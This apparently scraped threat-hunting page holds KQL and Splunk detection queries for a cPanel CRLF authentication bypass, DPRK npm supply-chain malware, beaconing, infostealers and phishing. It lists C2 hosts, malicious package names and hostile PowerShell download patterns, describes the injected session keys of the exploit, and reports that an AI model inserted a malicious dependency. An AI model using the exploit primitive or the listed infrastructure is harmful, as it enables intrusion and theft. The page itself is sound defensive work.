| where ActionType in ("FileCreated","FileModified")
| summarize SessionWrites=count(), LastWrite=max(Timestamp), Writers=make_set(InitiatingProcessFileName,8) by DeviceName
) on DeviceName
| where SessionWrites >= 1 and LastWrite between (FirstConn .. (LastConn + 5m))
| project DeviceName, RemoteIP, ConnCount, SessionWrites, Writers, FirstConn, LastConn, LastWrite
| order by LastConn desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as urls values(Web.http_method) as methods values(Web.status) as statuses values(Web.http_user_agent) as uas from datamodel=Web where (Web.dest_port=2087 OR Web.dest_port=2083) AND (Web.url="*/login/?*login_only=1*" OR Web.url="*/scripts2/listaccts*") by Web.src, Web.dest, Web.site | `drop_dm_object_name(Web)` | eval has_login=if(like(mvjoin(urls,"|"),"%/login/?%login_only=1%"),1,0), has_listaccts=if(like(mvjoin(urls,"|"),"%/scripts2/listaccts%") AND NOT like(mvjoin(urls,"|"),"%/cpsess%/scripts2/listaccts%"),1,0), span_sec=lastTime-firstTime | where has_login=1 AND has_listaccts=1 AND span_sec<=600 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime lastTime src dest site span_sec methods statuses urls uas
[LLM] CVE-2026-41940 CRLF-injected Authorization Basic header to cPanel/WHM (cpsrvd)ExploitationHigh
Hunts the root primitive of CVE-2026-41940 — a CRLF (0x0d 0x0a) sequence smuggled inside the base64-decoded Authorization: Basic password field, which cpsrvd fails to sanitise and writes verbatim into /var/cpanel/sessions/raw/<id>, producing a session file whose lines include attacker-controlled keys such as hasroot=1, tfa_verified=1, and successful_internal_auth_with_timestamp=. Detection focuses on raw header strings (where WAF/proxy captures them) and on session files containing those exact promoted-privilege keys.
Rationale: watchTowr's write-up identifies the exact injected line markers (hasroot=1, tfa_verified=1, successful_internal_auth_with_timestamp=<epoch>) that the CRLF smuggling in the Authorization: Basic password places into /var/cpanel/sessions/raw/<sid> — those tokens are not produced by any legitimate cpsrvd code path, so finding them in raw session files (or in URL-encoded form %0d%0a inside captured Basic-auth blobs) is a near-zero-FP indicator that the bypass primitive succeeded.
Cross-checked against:
• https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
• https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
• https://securityaffairs.com/191465/security/all-supported-cpanel-versions-hit-by-critical-auth-bug-now-patched.html
ATT&CKT1190T1556.001T1078
Data sourcesWebEndpoint.Filesystem
// Linux Defender — detect cpsrvd writing CRLF-poisoned session files
let keyMarkers = dynamic(["hasroot=1","tfa_verified=1","successful_internal_auth_with_timestamp"]);
DeviceFileEvents
| where Timestamp > ago(14d)
| where FolderPath startswith "/var/cpanel/sessions/raw/"
| where ActionType in ("FileCreated","FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName, RequestAccountName
| where InitiatingProcessFileName in~ ("cpsrvd","cpsrvd-ssl","perl")
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName in~ ("cpsrvd","cpsrvd-ssl")
| project ProcTime=Timestamp, DeviceName, ProcCmd=ProcessCommandLine, ProcessId
) on DeviceName
| join kind=inner (
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where ActionType == "InboundConnectionAccepted"
| where LocalPort in (2083, 2087)
| summarize InboundConns=count(), Sources=make_set(RemoteIP, 25), FirstInbound=min(Timestamp), LastInbound=max(Timestamp) by DeviceName
) on DeviceName
| where Timestamp between (FirstInbound .. (LastInbound + 10m))
| extend NoteworthyKeys = keyMarkers
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, InboundConns, Sources, NoteworthyKeys
| order by Timestamp desc
`waf_or_proxy_index` (dest_port=2087 OR dest_port=2083) sourcetype IN ("haproxy:http","nginx:plus:kv","apache:access","f5:asm") ("Authorization: Basic" OR auth_basic_decoded=*) | rex field=_raw "(?i)Authorization:\s*Basic\s+(?<basic_b64>[A-Za-z0-9+/=]+)" | eval basic_decoded=if(isnotnull(basic_b64), tostring(basic_b64,"hex"), null()) | eval decoded_str=coalesce(auth_basic_decoded, _raw) | where match(decoded_str,"(?s)hasroot=1") OR match(decoded_str,"successful_internal_auth_with_timestamp=") OR match(decoded_str,"tfa_verified=1") OR match(decoded_str,"\r\n") OR match(_raw,"%0[dD]%0[aA].*hasroot") | stats count min(_time) as firstTime max(_time) as lastTime values(uri_path) as paths values(http_user_agent) as uas by src, dest, dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-2915 use cases7 techniques6 kill-chain phases detected
Cybersecurity researchers have discovered malicious code in an npm package after a malicious package as a dependency to the project by Anthropic's Claude Opus large language model (LLM). The package in question is "@validate-sdk/v2," which is listed on npm as a utility software development kit (SDK) for hashing, validation, encoding/decoding, and secure random generation. However, its real
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · [LLM] Install or reference of named Famous Chollima / BlueNoroff malicious npm & PyPI packages · [LLM] npm dependency resolved from GitHub release artifact (graphalgo transitive-dep TTP)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — New Wave of DPRK Attacks Uses AI-Inserted npm Malware, Fake Firms, and RATs
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] DPRK Famous Chollima/BlueNoroff exfil to ipfs-url-validator.vercel.app, csec-c2-server.onrender.com, 216.126.237.71
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Crypto-wallet file/keystore access by non-wallet process
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("216.126.237.71") or RemoteUrl has_any ("csec-c2-server.onrender.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("216.126.237.71")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("csec-c2-server.onrender.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("csec-c2-server.onrender.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — New Wave of DPRK Attacks Uses AI-Inserted npm Malware, Fake Firms, and RATsExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — New Wave of DPRK Attacks Uses AI-Inserted npm Malware, Fake Firms, and RATs
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("node.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("node.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — New Wave of DPRK Attacks Uses AI-Inserted npm Malware, Fake Firms, and RATs ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("node.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("node.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] DPRK Famous Chollima/BlueNoroff exfil to ipfs-url-validator.vercel.app, csec-c2-server.onrender.com, 216.126.237.71Command & ControlHigh
Detects outbound traffic to the specific Vercel/Render exfil sites and Socket.IO C2 IP used by the PromptMink, Contagious Trader/Interview, and csec-crypto-utils (axios compromise) campaigns attributed to Famous Chollima and BlueNoroff. These hosts are dedicated DPRK supply-chain infrastructure and any contact from a developer endpoint is high-fidelity.
Rationale: Article and corroborating ReversingLabs/Microsoft/Hunt.io reporting list these exact hosts as live exfil/C2: Vercel domain ipfs-url-validator.vercel.app for the PromptMink stealer, 216.126.237.71 (Socket.IO RAT) for the express-session-js Contagious Trader payload, and csec-c2-server.onrender.com for the BlueNoroff axios follow-on package csec-crypto-utils. None are legitimate developer destinations.
Cross-checked against:
• https://www.reversinglabs.com/blog/claude-promptmink-malware-crypto
• https://www.microsoft.com/en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise/
• https://gist.github.com/N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6
ATT&CKT1567.002T1071.001T1102
Data sourcesWeb.WebNetwork_Traffic.All_TrafficNetwork_Resolution.DNS
let badHosts = dynamic(["ipfs-url-validator.vercel.app","csec-c2-server.onrender.com"]);
let badIPs = dynamic(["216.126.237.71"]);
DeviceNetworkEvents
| where RemoteUrl has_any (badHosts) or RemoteIP in (badIPs) or tostring(parse_url(RemoteUrl).Host) in~ (badHosts)
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, RemoteUrl, RemoteIP, RemotePort, ActionType
| union (DeviceEvents | where ActionType == "DnsQueryResponse" and AdditionalFields has_any (badHosts) | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.http_user_agent) as ua values(Web.dest) as dest from datamodel=Web.Web where (Web.url="*ipfs-url-validator.vercel.app*" OR Web.url="*csec-c2-server.onrender.com*" OR Web.dest IN ("ipfs-url-validator.vercel.app","csec-c2-server.onrender.com","216.126.237.71")) by Web.src, Web.user, Web.site | `drop_dm_object_name(Web)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_port) as ports values(All_Traffic.app) as app values(All_Traffic.process_name) as proc from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest="216.126.237.71" by All_Traffic.src, All_Traffic.user, All_Traffic.dest | `drop_dm_object_name(All_Traffic)`] | append [| tstats `summariesonly` count from datamodel=Network_Resolution.DNS where DNS.query IN ("ipfs-url-validator.vercel.app","csec-c2-server.onrender.com") by DNS.src, DNS.query | `drop_dm_object_name(DNS)`] | convert ctime(firstTime) ctime(lastTime)
[LLM] Install or reference of named Famous Chollima / BlueNoroff malicious npm & PyPI packagesDeliveryHigh
Hunts for npm/yarn/pnpm/pip install commands, lockfile writes, or node/python invocations that reference any of the named PromptMink, Contagious Trader, graphalgo, or csec-crypto-utils packages disclosed by ReversingLabs, JFrog, SafeDep and Hunt.io. Catches the supply-chain compromise at install time on developer/CI hosts.
Rationale: Every package name is taken verbatim from the article (and confirmed in the linked ReversingLabs PromptMink, Hunt.io BlueNoroff, and SafeDep Contagious Trader write-ups). Hits at install time give a high-confidence supply-chain compromise indicator before the stealer ever runs.
Cross-checked against:
• https://www.reversinglabs.com/blog/claude-promptmink-malware-crypto
• https://cybersecuritynews.com/claude-generated-commit-adds-promptmink-malware/
• https://www.infosecurity-magazine.com/news/ai-npm-dependency-targets-crypto/
ATT&CKT1195.002T1059.007T1204.002
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let dprkPkgs = dynamic(["@validate-sdk/v2","@hash-validator/v2","@solana-launchpad/sdk","@meme-sdk/trade","@validate-ethereum-address/core","@solmasterv3/solana-metadata-sdk","@pumpfun-ipfs/sdk","@solana-ipfs/sdk","openpaw-graveyard","scraper-npm","express-session-js","gemini-ai-checker","express-flowlimit","chai-extensions-extras","bjs-biginteger","bjs-lint-builder","graph-dynamic","graphbase-js","graphlib-js","csec-crypto-utils"]);
DeviceProcessEvents
| where FileName in~ ("npm.exe","node.exe","yarn.exe","pnpm.exe","npx.exe","pip.exe","python.exe","npm","node","yarn","pnpm","pip","pip3","python","python3")
or InitiatingProcessFileName in~ ("npm.exe","node.exe","yarn.exe","pnpm.exe","pip.exe")
| where ProcessCommandLine has_any (dprkPkgs) or InitiatingProcessCommandLine has_any (dprkPkgs)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| union (
DeviceFileEvents
| where FileName in~ ("package.json","package-lock.json","yarn.lock","pnpm-lock.yaml","requirements.txt")
| where FolderPath has_any (dprkPkgs) or InitiatingProcessCommandLine has_any (dprkPkgs)
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmd values(Processes.parent_process_name) as parent from datamodel=Endpoint.Processes where Processes.process_name IN ("npm.exe","npm","node.exe","node","yarn","yarn.exe","pnpm","pnpm.exe","npx","npx.exe","pip","pip3","pip.exe","python","python3","python.exe") AND (Processes.process="*@validate-sdk/v2*" OR Processes.process="*@hash-validator/v2*" OR Processes.process="*@solana-launchpad/sdk*" OR Processes.process="*@meme-sdk/trade*" OR Processes.process="*@validate-ethereum-address/core*" OR Processes.process="*@solmasterv3/solana-metadata-sdk*" OR Processes.process="*@pumpfun-ipfs/sdk*" OR Processes.process="*@solana-ipfs/sdk*" OR Processes.process="*openpaw-graveyard*" OR Processes.process="*scraper-npm*" OR Processes.process="*express-session-js*" OR Processes.process="*gemini-ai-checker*" OR Processes.process="*express-flowlimit*" OR Processes.process="*chai-extensions-extras*" OR Processes.process="*bjs-biginteger*" OR Processes.process="*bjs-lint-builder*" OR Processes.process="*graph-dynamic*" OR Processes.process="*graphbase-js*" OR Processes.process="*graphlib-js*" OR Processes.process="*csec-crypto-utils*") by Processes.user, Processes.dest, Processes.process_name | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("package.json","package-lock.json","yarn.lock","pnpm-lock.yaml","requirements.txt","pyproject.toml") AND (Filesystem.file_path="*validate-sdk*" OR Filesystem.file_path="*hash-validator*" OR Filesystem.file_path="*solana-launchpad*" OR Filesystem.file_path="*openpaw-graveyard*" OR Filesystem.file_path="*csec-crypto-utils*" OR Filesystem.file_path="*graphbase-js*" OR Filesystem.file_path="*graphlib-js*" OR Filesystem.file_path="*graph-dynamic*" OR Filesystem.file_path="*bjs-lint-builder*" OR Filesystem.file_path="*scraper-npm*") by Filesystem.dest, Filesystem.user, Filesystem.file_path | `drop_dm_object_name(Filesystem)`] | convert ctime(firstTime) ctime(lastTime)
